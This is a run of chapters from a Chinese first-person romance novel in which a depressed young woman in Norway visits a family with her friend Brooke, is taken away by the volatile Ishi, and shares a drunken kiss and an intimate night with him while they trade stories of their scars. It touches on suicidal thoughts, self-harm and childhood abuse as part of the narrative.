布鲁克敲了敲门,门后出现一位岁数看上去与他不相上下的老爷子,体型却是他的两倍,带着屋内温暖醇香的人烟气息来迎接我们。 “嘿伙计——”瓦萨里奇张开双臂,像一座拖拉机向布鲁克开去,“可让我好等!” 布鲁克本想伸出手臂拍拍他的背,但他明显够不着,于是迈上一个台阶,象征性碰了碰他的肚子,“你知道的,从伊实那儿开出来要费点功夫。” “你从那儿过来的?”瓦萨里奇很惊讶,赶忙让出一条路请我们进去。 “当然了,不然怎么给你带来我的新朋友。”布鲁克朝后撇了撇头,“她现在可是伊实在养,我偷出来了。” 瓦萨里奇的视线移到双手插兜一声不吭的我身上,问:“就是她吗?” 我低着头,还在考虑进别人家门第一件事就是脱鞋但是四处都没有鞋柜该怎么办。 布鲁克:“是的,她是个血统纯正的中国人。” “你已经在电话里说过了,朋友。” “是的,她也是我交的第一个中国朋友,我们感情很好。”布鲁克夸大其词,似乎很骄傲能和我扯上关系。 瓦萨里奇哈哈大笑:“Well,well——我明白了,下回我把赵请来,他们一定能一见如故。” “当然了,我是说,当然了。”布鲁克点点头。 瓦萨里奇领我们到客厅,这儿连着开放式厨房,显得格外宽敞。除此之外还有一个漂亮的壁炉,懒懒地燃着一簇火,将整个屋子照成黄昏色,和外面冷酷得要命的蓝灰色成鲜明对照。沙发上铺满了玩偶和其他色彩鲜艳的小玩意儿,它们杂乱无章,这是不可避免的,小孩的生存空间熵变大的速度往往要比成年人高个几倍。 这些玩具的小主人们此时正跪在地上,察觉到身后的动静,掰过整个身子看过去,很显然他们这个年纪尚未完全获取脖子的掌控权。布鲁克是这里的常客,小孩儿们对他没有一点新鲜感,那么承载这种纯真无邪的新鲜感的人一定是我了。 “好久不见呢我的小甜心!”布鲁克朝瓦萨里奇家的小孙女招手,奈何人家根本不理会,他撇撇嘴,对一旁年长些的哥哥说道:“你欺负她了?我警告你,你可不能欺负她!” 哥哥像模像样地翻了个白眼,差点把我逗笑,他和Disney的镇山之宝长得一模一样,很特别的是他还有一对招风耳。“她明明是讨厌你。”他说。 “不,不可能。”布鲁克在小甜心身旁蹲下,用自己的独家秘方哄着。 而我听不懂一句挪威语,从踏进客厅开始除了表现得像个盆栽以外找不出更好的选择,更何况两个孩子探究的视线让我不敢轻举妄 动。 “她是谁?”小甜心指向我。 布鲁克心甘情愿地交代道:“你伊实叔叔的老婆。” 从肢体语言中我猜测那边大概已经进行到介绍我的环节了,但我对布鲁克会如何介绍毫无头绪,只见他了了一句话,孩子们便瞪大了眼睛,下巴拉长。 “伊实叔叔结婚了?!” “是那个抽烟喝酒爱说脏话的伊实叔叔吗?” “你一定是在开玩笑吧,上次他在我们家吃了一整只火鸡,我妈妈说没有人会愿意跟一头熊结婚!” “哥斯拉!简直是哥斯拉!” “布鲁克,布鲁克,你快告诉我,她是ET吗?” 两个孩子你一句我一句,布鲁克的脸庞仿佛闪烁着人生巅峰的光辉,春风满面地左拥右抱。 “是啊,起初我也震惊,伊实竟然和一个中国女孩结婚了。是的,她不是什么外星人,她是中国人,和你们的赵叔叔一样是中国人。伊实叔叔和她非常相爱,他们是我在这个世上见过的最般配的两口子!” “啊啾——!”我一声当堂喷嚏打断了他们火热的谈话,我汗颜,摆摆手表示:打扰了,请继续。 真尴尬啊,想回家,什么时候开饭,他们到底在聊什么? 第16章 第16章她以后不归你管了 瓦萨里奇家的餐桌逐渐人山人海,如果提前知道要在那么多人眼皮子底下蹭吃蹭喝,我一定会义正词严地拒绝。瓦萨里奇先生有两个儿子一个女儿,血脉向下延伸又得到三个孙子两个孙女外加一只体形值得反思的银渐层。 好在这顿饭没有重要到需要瓦萨里奇一整个家族全部出动,坐在我面前的只有瓦萨里奇先生、瓦萨里奇太太,他们的二儿子乔森瓦萨里奇、他们的女儿梅里瓦萨里奇,他的孙子、他的孙女……抱歉,我实在记不住长难句。 自从他们知道我听得懂英文以后,这顿早午餐就变成了我的雅思听力考试。首先,我痛恨被人关注,其次,我痛恨和人交谈,这些都会让我想起先前舔着脸过日子妈的明明老子自己累的要死还要他妈的给别人摆笑脸……抱歉,慌乱很容易使我焦躁,为了不把无名之火撒在无辜的瓦萨里奇一家子上,我只好闭口不谈当哑巴。 多亏了从进门到现在我一句话没说,布鲁克似乎也察觉到了我受到攻击时紧闭贝壳假死,很配合地替一只河蚌解围:“她曾声带受损,只能发出很少的声音。” “哦……太可怜了。” “多好的女孩儿。” 听到这些惋惜的话,我一时间忍俊不禁,笑着作手语:我,不好,说不出话,仅仅是最微不足道的。 我在公益活动上学过很多手语,现在派上了用场。我在一个小学六年级的聋哑小男孩身上明白了世上没有救赎之道,他即将从特殊小学毕业,去往另一个特殊学校,他笑着,我却快哭了,生活的真相要从每个人的身上碾过去。 吃完早午餐,瓦萨里奇提议去楼上的露台坐一会儿。肚子里的异国大米正好难以消化,我欣然一同前往。在我身后,有一只银渐层悄悄跟着。 我被分配到一个单人沙发,坐下时才注意到那东西摩拳擦掌准备起跳,没给我反应的余地便投进了我的怀里。 非常沉。 我摸了摸它的毛,它踩了两脚之后找到一个舒服的姿势趴着。其实,如果是我霸占了它的位置,它大可以冲我龇牙发脾气,如此既来之则安之的心态只能说不愧是一只猫。 “看来它很喜欢你。” 瓦萨里奇家的二儿子乔森在我们面前蹲下,抬起手狠狠地疼爱了他的猫,手掌若有似无地触碰到我的腿。 闲不住嘴巴的百事通布鲁克半小时前向我科普过,乔森是瓦萨里奇第二个老婆的第二个孩子,年纪和伊实差不多,但人家已经结过两次婚了。末了他提醒我:“瓦萨里奇人对付女孩很有一套,你千万不要被坑蒙拐骗了,说什么也别信,我可不想某一天听到瓦萨里奇家又新添香火了!够了!完全够了!” 他可真矛盾,一面恨不得将瓦萨里奇家的小孙子女视为己出,一面又咬牙切齿绝不允许有更多的婴儿在他眼皮子底下被冠上瓦萨里奇这个姓。 “你试过发出一丁点儿声音吗?”乔森仍旧保持着单膝下蹲的姿势,神情关切地询问我的缺陷。 我摇摇头,打手语:我的嘴巴很坏,如果开口说话,我会让你滚。 这里除了我没人读得懂手语,他看不懂,只能笑着问:“那是什么意思?能写下来吗?” 我又摇了摇头,给去一个意味深长的微笑,我不想破坏布鲁克的人缘,毕竟他喜欢瓦萨里奇家的小孩喜欢得皮都展开了。 “没关系。”乔森大方地抱走了我腿上的坦克,再回来时手里拿着一本相册和一杯热牛奶。“用它来代替吧。” 坐在对面长沙发上的两个老头向我们这边看来,瓦萨里奇或许知晓他儿子的意图,或许不知道,总之看我的眼神十分仁慈,反观布鲁克瘪着嘴角盯住我,像在说“你可别忘了我刚和你说了什么”。 乔森坐下来没多久,他们便被小孩儿的召唤吸引了去,露台上只剩二人。我知道我走不了,所以没有挣扎,其实没什么所谓,自从我是个哑巴了之后,许多问题都能够迎刃而解。 我配合乔森看他的旅行相册,一方面我需要保持一个客人应有的礼仪,另一方面我也想找点事情打发时间好等待下一次睡眠时间的到来。是的,我已经累了,只想躺着,布鲁克说他要在这待上一天,这就意味着我也必须在这待上一整天,不用给人做饭再好不过了,但我仍需要一个空间允许我死一死。 乔森是个十分健谈且具有浪漫主义的成功人士,去过很多地方,包括我的祖国,这也是他选择相册作为拉近和我的关系的首要原因,对着我这张萍水相逢的脸他能够顺其自然地叙旧。 他去过北京的大部分景点,很惭愧的是,我作为native并没有去过首都,时间是暴晒过后的海绵根本挤不出一点儿来供我游历四方。况且,一个人的旅行有很大概率在半路熄火,我没有靠谱的家人朋友,指不定哪天上了新闻,阴险的保险公司死无对证。 “我似乎听见你的声音了?”乔森暂停了他的旅行回忆,用一张斯文脸注视我。 方才我禁不住又打了个喷嚏,不期谎言竟从喉咙里蹦了出来。 “你多让嗓子派上用场会恢复得更快。”乔森合上相册,调整椅子和我面对面,“听我说,我学了几句中文,listen——‘你好,美女’——如何?” 他的舌头捋不直,那句中文从他嘴里说出来像一根麻花。我不想再和他周旋,于是在他为我准备的纸纸上写道:「很标准,你很厉害,但我很困了,兴许我能找个地方睡一个午觉吗?」 “当然!”乔森牵起我的手扶我起来,“客厅有个躺椅,你可以在那儿睡。” 我缩回手,很不适应这么体贴周到的待遇,只想快点摆脱这位多情的绅士。 恰好在楼梯口遇见了正找我的布鲁克,他一手将手机贴在耳边,一手把我拉过去。我向布鲁克投去感激的目光,乖巧地任君差遣。 他不知去向地拉着我到处走,一边急呼呼地和电话里的人解释着什么:“她在,她当然在,就在我的旁边,一根头发没少,要听听她的声音吗?” 我清了清嗓,使命必达。然而他话头又一转:“哦你可拉倒吧,口是心非的家伙。她今天差点被乔森瓦萨里奇给迷惑了,你管不管?” “?”我扯了扯布鲁克的老手。 他瞟了我一眼,做出让我安心的手势,继续说:“什么叫我绑架她!够了,我跟你没什么好说的!她以后不归你了,我要把她带走!” “… …“我并不认为现在是讨论抚养权的好时候。 布鲁克用力挂了通话,在情绪平复下来之前应该是没办法和我说明到底是什么情况了。 我以为他会冲着这股劲儿说出什么豪言壮语,谁知他变成一副东窗事发而心虚的模样。 “是伊实,他发了很大的火……”他欲扬先抑,但明显抑制不住,“我想过他会生气,但不至于连我们的感受都不在乎。总之,你一时半会儿别回去了,我会给你找个好住处。” “没吃早餐的确容易生气。”我说。 “你以为是早餐的问题?”布鲁克神色鄙夷,“那可太单纯了。” “那就是我们没叫上他,这也不是什么大问题。” “论脾气,他才是那个喜欢把人甩开的角色。” “那他为什么生气?” 布鲁克又用那种“你再装糊涂试试看”的表情看我,可我又不是装在天花板拥有全知全能视角的摄像头,我从哪里清楚在世界上的每个角落都发生了什么事。 我不了解伊实,但我了解自己,此刻的我满脸写满了无所谓,就连“去死”这个念头都变得模糊,某种意义上来说我比死亡更像死亡。我知道我一旦开始思考,就又会痛苦,然后干出一些不精明的傻事,所以我对一切文字都只是读,不想,对一切声音只是听,不问。简而言之,我现在在夹缝中偷懒,谁也别想扶我起来。 “算了,你什么都不懂。”布鲁克叹了一口气,弄得我也十分感伤,好像自己做错了什么事,“等会儿我带孩子们去集市里玩,你要跟着一起去吗?” 我拒绝了,比起在热闹非凡喜气洋洋的闹市里游街,我更想睡在躺椅上一睁眼就能看见温暖的壁炉。 乔森不出所料地在客厅等着我,甚至为我准备了毯子。我脱去外套,在躺椅上躺下,没有马上闭眼,乔森似乎有话要说。可他一直不说,像酒吧里柔情似水的服务生一样在我身边乱晃,一下调整壁炉的温度,一下向父亲自告奋勇留在这陪我。 也罢,他迟早会说的,他那浓密的褐色眉毛一看就藏不住事。 后续是,我内心毫无负担地睡着了,他那句骚话也没说出口。我笃定那是句骚话,他所有的喋喋不休都像是在卖弄学识和风情。不能说他不是个好人,只能说我坏的绝对,就算他是个好人,我也能挑出一万个刺。偏见不是被偏见者的无辜,是偏见者的自娱自乐。 但我对乔森的不喜欢只放在心里,毕竟我也知道自己对待亲密关系就跟长了刺的弹簧一样要杀要剐,本质上归咎于自身性情刻薄又很能装,关他人是一点事没有。 我睡着了但没有完全睡着,耳朵还能听见乔森和他姐姐的对话,身体还能感受到银渐层再次爬上了我的膝盖。 过了很久,客厅才陷入一片荒无人烟的安静,只剩下我和猫,我不算正常人,它也不算正常猫。 原来不是我鸠占鹊巢,是它单纯喜欢趴在我腿上,我上身这件银白色渐变针织毛衣功不可没。躺了也就躺了,我顶着腿麻的风险和它友好相处,反正之后不会再见面了。 是吧,反正之后不会再见面了。 所以我不会伸手去摸摸它,不会抱起它嗅一嗅猫臭味,不会给它找猫粮吃,也不会问它叫什么名字。 像我这样对厌恶的玩意和喜爱的玩意一视同仁的清官不多,不过如果哪一天我被拖进大堂审问仗责五十那也是罪有应得,一视同仁不代表我心胸不狭隘。 敲门声惹怒了我腿上这位小祖宗,它听到声音应激反应弹跳起来,踹我踹得不轻,我皱着眉头睁开眼睛,发现裤子上沾了几根猫毛。真是太客气了,来就来了,还送什么礼物。 我听见乔森去开门的脚步声,突然有一种不妙的预感,至少布鲁克他们玩耍回来定不会大动干戈地敲自己家门。 “她在哪儿?” 我手臂上的毛都竖起来了,那是伊实的声音。 第17章 第17章别停下来,穆里斯 “小声点,都说了她还在睡觉,你别总这么乱来。”乔森愤愤不平地挡住伊实的去路。 是的,为求自保,我原模原样地躺了回去,装成一副睡得正香的表情,双手交叉放在腹前,头以一个最舒适的姿势靠在躺椅上。 “哦?是吗……”那可怕的压迫的声音从我头顶传来。 你永远不知道下一秒伊实嘴里会蹦出什么惊天地泣鬼神的台词,所以关机是最好的应对方式。哪怕他今天在乔森面前大肆宣扬我是个双相情感障碍患者兼心理变态,我也绝不眨一下眼睛。 乔森矮了伊实半个头,并且他也知道缺乏硬汉气质的自己很难和伊实在拳头上有所较量,所以聪明如他决定讲道理。 “行了,别呆在这了,你来找布鲁克吗?他一会儿就回。” 伊实死盯着我,一枪灼热的视线烧得我脸生疼,一寸不敢动。他避开了乔森的拉扯,说:“我不找布鲁克,找她。” “如你所见,她在睡觉。” 伊实冷笑一声,“是啊,这也不是她第一次干了。” 见讲理不成,乔森语气不爽:“你不由分说地就闯进来,打扰她的午觉,还理直气壮站在这,你到底要做什么?” “你以为我稀罕来?专门来看你这张恶心脸?”伊实拽起我的胳膊,我吃痛,但死活不睁眼。 乔森为我拖延了一点时间,也仅仅是一点。伊实早就看穿了我的豆腐渣工程,一举将我扛在肩头,让乔森闪开。 “你要带她去哪儿?” “关你屁事。” 我想乔森正义到这份上大概已经不是为我了,而是想和伊实争个高下。让人燃起怒火起义抗争的本领简直是伊实与生俱来的。 “你没权利这么做,你算什么东西?”乔森说。 伊实站定,把话说开,也就是把话讲得更难听:“Fuckyou.” 乔森由于受到人身攻击彻底偃旗息鼓,我倒吊的脑袋再次晃了起来,像一坨烂肉。直到快走到门口,伊实转了个身,用力朝我的屁股来了一巴掌。 “See?她没醒,你又算什么东西?” “……” 现场有两个人的脸色青一阵白一阵,只有一个人红光满面狂妄自大地挑衅完还能背手开门。 我摔进车里,脑浆差点喷射三尺高。伊实堵在车门前,一只脚踏进来,将我拷的死死的。他的脸色冰冷,不意外他或许会把我的下巴捏得粉碎。 “玩得开心吗?你答应过我什么?” 我没说话,连眼睛也忘了眨。 除了愤怒,疑惑浮现在他的脸上,难以置信,以及模糊且荒诞的可怜。 “我忘了,你没答应过我什么。”他松开对我的禁锢,绕过车头坐上驾驶位,嘴里吐出一团迷雾,可他抽两口就扔了,动作杂乱无章。 我系上安全带,企图通过沉默来大事化小小事化了。我答应过他的没错,说好了用我的厨艺换取他家的一张沙发,但我不想做了,我也做不好。 你让一个看蚂蚁搬家都会想象到天灾人祸的人去过正常生活,相当于剖开她的五脏六腑但不做缝合。我做不好,不知道人来人往的车厢我该站在哪里,还打算在终点站的前一站问问列车长能不能爽快地从我身上碾过去。 除此之外,对伊实的愧疚才是我真正忏悔的理由。我像形容牛粪一样形容他,以及斗兽场里最凶残禁忌的猛兽,还有毒死几十条人命的响尾蛇……哪怕是这样,我回想起来的仍旧是他抱着我时和我的头颅刚好契合的颈窝。 “我不想。”我低语呢喃,风从右边的车窗吹进来,蒙住了我的余光。 “不想什么?”伊实快速看了我一眼,“大声点。” 我整理头发,但怎么也整理不好,“我不想回去。” 伊实踩住刹车,以至于安全带狠狠地掐了一下我的脖子,他干脆利落地掉头,这之后车往哪儿 开我一点头绪都没有。 我的胃隐隐作痛。 我仿佛走进了疯人院。 我只是个实习疯人,身旁这位却已经是宗师级别的暴徒。 我在混乱,他也在混乱,黑洞交织会构成一个更大的黑洞吗?还是互相吞噬你死我活。 天色只会更暗不会有回光返照的可能,我希望近光车灯坏掉,车轮打滑陷进路边的积雪里,然后我走下台阶说:“我们还是回去吧。” 可惜没有,我们停在了一家酒吧门口,伊实头也不回地下车,他的背影叫我跟上,我没有争辩的余地。 耳膜很快被全方位的音乐袭击,打进走进酒吧的那一刻,所有设施都在给我添乱,我废了很大的功夫才跟上他。 “一杯白兰地。”他说。 “我也一样。”我紧跟着对酒保说,明示我和他是一起的。在异国他乡的非凡场合,狐假虎威是保持健康的基本要领。 伊实瞥了我一眼,转过头嗤笑。 野蛮人。 白兰地在我手中成了一件展览品,一滴未进嘴。饶是我再怎么不去想,某些东西也会自己发芽。 伊实久久不同我交谈,闷头喝酒。他的右侧下巴有一笔新添的伤疤,在雪白的皮肤上格外瞩目,我现在才发现。 我伸手去摸,不出所料地被他躲开了。 “怎么弄的?”我问,默默收回手。 伊实有强迫症似的喝干眼前这杯,咽下去,大拇指抹掉嘴角漏下的酒渍,最后已然忘记了我的问题似的答非所问:“你来这有些时候了。” “嗯。”我想,也有半个月了,再过三个“有些时候”我还没死掉的话,就该被驱逐出境了。 “你说你无家可归,死乞白赖地让我喂养你。”他继续说。 “……嗯。”他说的和事实有很大偏差,但没必要追究。 伊实终于看向我,眼底那片薄得几乎透明的皮肤和那块伤疤一样血红,而他的蓝色瞳孔在这里暗淡不清。“然后呢?”他说,“然后你想怎么做?” 我完全失重了,好像在沙滩上刻完出师表后发现海浪把所有字都冲洗干净,只能从第一行重新写起,否则没有人知道我此行何去何从。可能我沾满沙子的双手双脚,岸边的自我陶醉和自我麻痹,仅仅是海上的一阵风。 “Nothing.”我说。 他眯起眼嘲讽地笑笑,双手抱头像在撑着脑袋防止呕吐。他不可能吐出来,他是我见过酒量最好的罐子。 我试探性地拍上他的后背,问:“你到底怎么了?如果你饿了,我们现在就可以回去。” “是的,我他妈的自作多情,我快恶心死了,不知道自己在想什么。”他根本没听我讲话,招呼酒保又来了一杯shot,“你什么也没有地从一个地方到另一个地方,站在我面前好像在告诉我,对啊,世界上就是有那么巧合的事情,那又怎样!明晃晃的陷阱你就该跳!来生的好日子那是来生的事,这辈子你就该下地狱!” 他的胡言乱语听起来是一种谩骂,但又没有具体的靶子,我只能理解为这是无名之火。 “勇气可嘉,勇气可嘉!”他痴痴地笑起来。我胸口感到一阵钝痛,说不清是悲伤还是和世界历史的某个已故角色产生了共鸣。 音乐炸得所有人满脸开花。 伊实从座位上站起来,穿进人群,在舞池中央摇头晃脑,有穿紧身牛仔裤的漂亮女人贴上他的胸口,他没有拒绝,顺手搂着她的腰肢摇摆。他转了一圈又一圈,有递过来的酒就喝,有抖着胸。脯凑上来的女人就抱,然后再推开,转了一圈又一圈,永不熄火,偶尔热辣辣的眼神透过缝隙到达我这里,却在我发现的一瞬间变得毫无情绪,像在质问:“这场骗局你要待到什么时候?” 我也不知道。 是他非要把我从平静带到这地方来的,给我展示了青春无限好,黄昏也有夕阳红。他比任何啼鸣都要吵闹,也比所有黑色潭水更为沉默。 伊实,如果真是我想的那样,请再给我一个眼神。 我很难有高深的自制力,有千万个齿轮在我的身体里,牵一发而动全身。 如果真是我想的那样,请再给我一个眼神。 我是不信枯木逢春的,园子里落满了死掉的树叶和厚重的灰尘,清扫要费很大的力气,倘若蝴蝶来了,我会告诉它这里一无所获,除非它想成为标本,留下它最美的一面。我答应下来,然后埋进地下三尺,永世不得超生。这就是一场骗局。 但如果给了我一个眼神…… 我挤开一具具精力过剩的透明人物,走到伊实面前,他也停了下来,低头看着我。 一股漆黑发红的液体从他的鼻子流下来,滴到我的脚边。他骂了句“fuck”,粗暴地用手指抹掉,弄得满脸满手都是。我伸手帮他擦掉,却被他拍开。可他也知道,一个人是止不住这血的。血无论如何非要到处添乱,像是从我心口里偷漏出去的。 我用了力气抓住他的手腕,他的手心在发抖,不对,是我的手在发抖。我狠狠地按住他的脖子,像在撕一面正在缓缓落下的幕布。血腥味离我越来越近,直到他的鼻根在我面前成为重影。 我发了疯似的吻住他,而他依旧血流不止,灌溉了一对紧贴着的慌乱呢喃声。 他同我一样不管不顾地攻城掠地,压弯了我的腰,胸口滚烫,挤压我背上的一块软。肉,闹得兵荒马乱。 我们不能呼吸了,也没想过呼吸,在疯人院里达成了最伟大的合作。我是疯子,他是暴徒,我们尝着血腥味在地上圈起属于我们的领地,宣布嚣张合法,任性有奖。 他吻开了一地色彩鲜明的冰川,满脸堆笑咬着我的嘴唇,又像是哀悼。 “穆里斯,穆里斯,别停下来。” 第18章 第18章喝到全世界最好喝的酒了…… 过了饭点的便利店很容易变成收养所,和操演着蓝绿色调的药房一样发自肺腑地接纳每一个找不到北的倒霉蛋。 伊实背着光走来,手里冒着热气。他打开车门第一件事是把那滚烫的玩意抛进我怀里,第二件事是再三警告我不许对他塞着纸巾的鼻孔指手画脚。 “还买了什么?”我问,瞥向中间的白色磨砂塑料袋,但什么也没看清。 “Condom.”伊实系上安全带,这个人粗暴顽劣但也有很强的安全意识。 我撇了撇嘴,不打算提醒他忘记买创口贴的事情,再不吃送到嘴边的牛肉汉堡,它就要散发出血腥味了。 路灯在车窗里向后滑得很慢,我以为他会着急赶回去,可事实上他沉默寡言不催不问,一点儿没对代驾司机露出不耐烦。对了,这个代价司机是他在酒吧门口随便抓的,没准人家是个初出茅庐的扒手,没来得及犯下第一案就面临了价值两百克朗的抉择,思来想去以劳动换取金钱能少付出一些道德上的代价,便硬着头皮答应了。伊实不愧独具慧眼,这位代驾司机似乎对地图很熟悉,一两句点拨就知道该怎么走。 我把吃完的食物包装揉成一团藏在手心里,舔掉指尖的廉价芝士酱,最后抽一张餐巾纸擦干净一切,像在麦当劳干了二十年一样熟练。 几乎是同时间,伊实取下沾满血的鼻塞,又掰开我的手拿走包装纸,齐齐丢向窗外。他的血止住了,素质也看不见了。 他把我的手捏起来把玩,身体靠的很近,幸好有安全带,不然我会不知道如何在外人面前和一名装醉且不好对付的复杂灵长类动物相处。 安全带的阻力是有限的,他的头彻底搁在我的脑门上,我不堪其重,推开这颗铅球。 “如果你实在饥。渴,就让他开快点。”我说。 司机听到了,稍稍踩了油门,即便我提了“如果”。 伊实微微摇头,梦呓般说:“不,我一点都不。看你舔的那么熟练,觉得你也喜欢蹭蹭而已。” “你在打比方?” “没准呢。” 我到底没抽出自己的手,任由他依序摁压我那脆弱的指关节骨骼。 “五根,不多不少。”他噙着笑说。 我竖起中指,回答他:“一根。” 他用拳头一下包住我的手,再次把脸贴上来,在黑暗与灯光交织的隐隐绰绰里问道:“奇了怪了,你出奇得漂亮,怎么做到的?” 我视线往下瞟了瞟,盯住他,反问:“你才是判若两人,怎么做到的?” 他用鼻尖碰了碰我的,回答:“喝到全世界最好喝的酒了。” 我蜻蜓点水地在他唇上亲了一下,然后迅速拉开距离,脸颊烧得滚烫,朝窗外撇去。脑子里的疑虑像沾满催化剂的有害细胞不断分裂分裂分裂,这份冲动究竟属于谁?是一个将死之人该有的颜色吗?我可以把舌头伸进去,但我不可以仅仅为了贴上他的嘴唇铤而走险。 连接我们两个的是一曲暴烈的舞蹈,是肮脏污秽都置身之外因为我们就是肮脏污秽本身的奏鸣。我有我的执着,他有他的执着,我们是因为两种截然不同的执着拼在一起的木偶。 平复下心情后我转过头,发现他早已眯起眼睛假寐。 真过分,原来浅吻他根本看不上。 …… 暖气制热需要一定的时间,他二话不说地走进厨房找水喝,连灯都没开。我则趁此脱了外套躲进沙发里,等他什么时候主动来抱我。 幸运的话,我今晚能睡上卧室,不幸运的话——没有那种可能,我可是铁了心地鸠占鹊巢,坐等功成名就。 我等啊等,等了半天,也不见伊实来抱我。他难道在担心接吻的时候又糊我一脸鼻血?还是顾虑我刚吃完牛肉汉堡通身散发着一股速食味?我还是去刷个牙吧。 巧合发生在浴室,伊实没锁门,而我知其不可为而为之,他的人体就这样映入眼帘。我发誓本人一秒没有多看,思想笔直地挤牙膏开始刷牙。 伊实关掉水龙头,湿答答地从我身后经过,一条灰色浴巾从头擦到尾。我目不斜视,而面前的镜子争先恐后地表露真相,要知道,镜子从不撒谎。 我刷完牙,擦干净嘴,一只大手突然从后面抬起我的下巴,大拇指刺入我的口腔,摸索下排牙齿,最后停在某处。 “就是它,偷袭了我一次。”伊实信誓旦旦地说。 我的牙齿是典型的幸运穷孩子家的牙齿,既不需要花几万块休整形状,也没必要花几百洗掉偷吃甜食付出的代价,长得不算歪斜,咧开嘴角假笑时看上去整整齐齐,但再往后扒开一点就能看到长得叛逆的尖牙,像被人多削出一个角的比萨斜塔。 我本能地做了个吞咽动作,一直张开嘴巴的话口水会不受控制的流出来。我看见伊实也跟着吞咽,就在我认为他即将心血来潮令一只下巴脱臼的时候,他越过我洗手,并且阴郁地说道: “没收你检查费你就高兴去吧。你自己洗还是我帮你?” 我不会让魔鬼从看似静止的时间缝隙中溜掉第二次,所以很爽快地放好了身上的衣物。 越是拥挤的地方越不可能出现抱团取暖,高峰地铁就是最好的例子,与此同时越是可耻的行径越有人凑在一起好似罪恶也能消消乐。每个人面对面的时候其实都是在互相施舍,所以大家是来自五湖四海的叫花子,只不过有的比较松弛,有的比较贪心。松弛的可以变得很贪心,贪心的也能变得很松弛,从同一个祖先繁衍下来的基因不衰不死。 我将乞讨动作铭记于心,一路从脖颈拜到背脊,也坦诚地摆开自己的筹码。 很久没有体验过这般点燃的棉花糖一样的触感了,从未干的沥青上滚过去,被挖掘机拎起,听见乍然的开门声,以及低沉且含糊不清的话音。 我躺在柔软的枕头上,想起他每回调笑的脸色后面都跟着一句嘟囔,便问道:“穆里斯是什么?” 他抬起头来,还是那副调笑,说:“穆里斯是你。” 一切我听不懂的语言都有迫害我的嫌疑,我很认真,看不惯他藏秘语,抓花了他的脖子,质问:“到底是什么?” 他禁锢住我的双手,神色微露愠色,“正是如此,理解吗?” 当然不能了,但看他不痛快的眉头我突然得意起来,管它是什么含义,骂我婊。子我也认了。 但我很快就得意不起来了,他按到了我大腿内侧的淤青,疼得我直接叫出声,也给他的小臂留下了难以消解的指甲印。 “What?”他疑惑地低头看,“我还没……操,这是怎么回事?” 我盘腿坐起来,和他保持一定的距离,摆摆手不在意地说:“前两天摔了一跤,挪威的石头比我预期得更硌人。” 事实上是我半夜脑子一抽自己掐的,恋痛太丢人了,我绝不会承认。况且在这种时刻谈起我的毛病实在煞风景,秋后算账不行吗? “前两天?你是说你在我眼皮子底下像狗一样吃屎竟然还能全身而退?” “……” 他抓住我的脚踝把我拖过去,寻找我身上别的伤痕,我两臂夹紧死死抱住胸口,人在应急时刻总会干出此地无银三百两的勾当,他抬起我的左侧胳膊,使一条存在于肋骨外侧的十厘米长的烫伤鞭痕暴露在阳光之下,哪怕这个房间仅仅开了一盏灯。 “……” 算了,瞒也瞒不住,好在解释权归我所有。我倒是能够在这节骨眼上三心二意,只要他乐意听,并且无视那股生机勃勃的劲儿。 “告诉我吧。”伊实吻下来,爱不释手地盘弄那块伤疤。哦,看来他能够专心致志地同时做两件事。 “我的英文很烂。”我推辞,主动握住他,非得搅乱这座天平不可。 他倒吸一口气,埋进我散开的发丝里,不知用了什么办法精准找到我的耳朵,咬牙切齿地说:“和其他水平比起来,你的英文好得不得了。” 我发出闷笑,算是接纳了他的建议。 “在我读小学五年级的时候,我爸用沸腾的路易威登皮带抽了我十几鞭。”我环抱住他的头,继续说道:“把那条皮带放进沸水里的人正是我,我煮了半个小时,一直守在厨房,不断加水防止烧干了弄坏那口锅。那是他最宝贵的一条皮带,除此之外他只穿抽绳设计的裤子,十分虚伪的家伙。 “东窗事发的那一刻他毫不犹豫地将手伸进沸水里,另一只手不忘抓住我这个罪魁祸首,他要让我永远记得那条皮带是因谁而死的,所以不管皮带多么烫手,他抽我的力气也不小半分。 “最后他送我去医院,挂了两个号,一个我的,一个他的。一条皮带同时在我的肋骨和他的掌心留下了疤痕,很精彩的一出戏,我敢保证。那时我才五年级,十二岁,怎么样?” 我和他的位置完全对掉了过来,因此我看得更为清晰,反客为主问道:“多么精妙绝伦的巧合,你这伤疤又是怎么来的?”我戳了戳他三角肌处的烧伤,不大不小,一拳头的面积,纹理款式和我的差不多,稀奇! 伊实慢悠悠地支起身子——显然,原有的气氛已经被破坏得大差不差了,双方都不知不觉偏了题——他虚搂着我防止我向后倒去,慢条斯理地谈起。 “Chloe在一家餐厅抽烟,意外放了一把火,得亏我赶过去及时,否则烧毁的就不止一间储物间和两张桌椅那么简单了。” 我听过这个故事,追问:“她受伤了吗?” “没有。”伊实顿了顿,“哦不,阴。道受损。” “所以那是一场预谋。”我劝诫道。 “无所谓,当我知道她欺骗我的那一刻起,一次和一千次对我来说没什么差别。” 我捧住他的脸,撅起嘴安慰道:“小可怜小可怜。” “然后,让我瞧瞧,这个呢?”他指了指我身上其他疤痕。 事已至此,我大方分享:“每个中国人小时候都会打的疫苗。你这个是?” “刮胡刀坏了。 ” “你看我这个,穿裤子的时候不小心被指甲刮的,比你的刮胡刀还要锋利。” “嗯……情理之中。” “还有这个,我的胎记,看不太清楚,浅褐色的。” “基因漏洞?” “这块是什么?这个我真忘记了。” “Imadeit.” “YES!” 我望着他开朗一笑,随后乖巧地裹紧被子睡觉。 第19章 第19章我指的是你,勇猛先生 天花板上似乎有人在敲鼓,床板下面也有,不是积攒了冤情的鼓声,是用挖过泥土的双手均匀拍在鼓面上的声音,是粗壮的拐杖插在西北沙漠里的声音,从同一个月亮反射到挪威几千个小岛里的一个,反射到我身下的这张床,与我的心跳共振。 这是一个没有药物截断反应的夜晚,无须固执地咬下拇指哥,缝起上下眼皮,蜷缩成一团滚进羊圈。 令人十足愉悦的帷幕。 我比伊实先一步苏醒,刚想掀开被子便感受到了一股冷意,鸡皮疙瘩迫使我躺回去。于是我趴在他的胳膊下百无聊赖,开始临摹他的五官,以及他的胸肌。 很遗憾,昨天并没有做到最后,我的恶劣在我明确听见他起身去卫生间解决却仍蒙头装睡的那一刻达到了巅峰,他的动静不小,每走一步都是在讽刺我,但他胡搅蛮缠不过我。吻痕不对等,气力没有耐心,而我也不过是想小小的扳回一城而已。 伊实啊伊实,你不说话我就当你默认了。世界上多的是竹篮打水一场空的事情,蝴蝶飞几日就死了,不是所有人都像盖茨比那样幸运。如果你愿意陪我无聊,那我也为你解解闷。 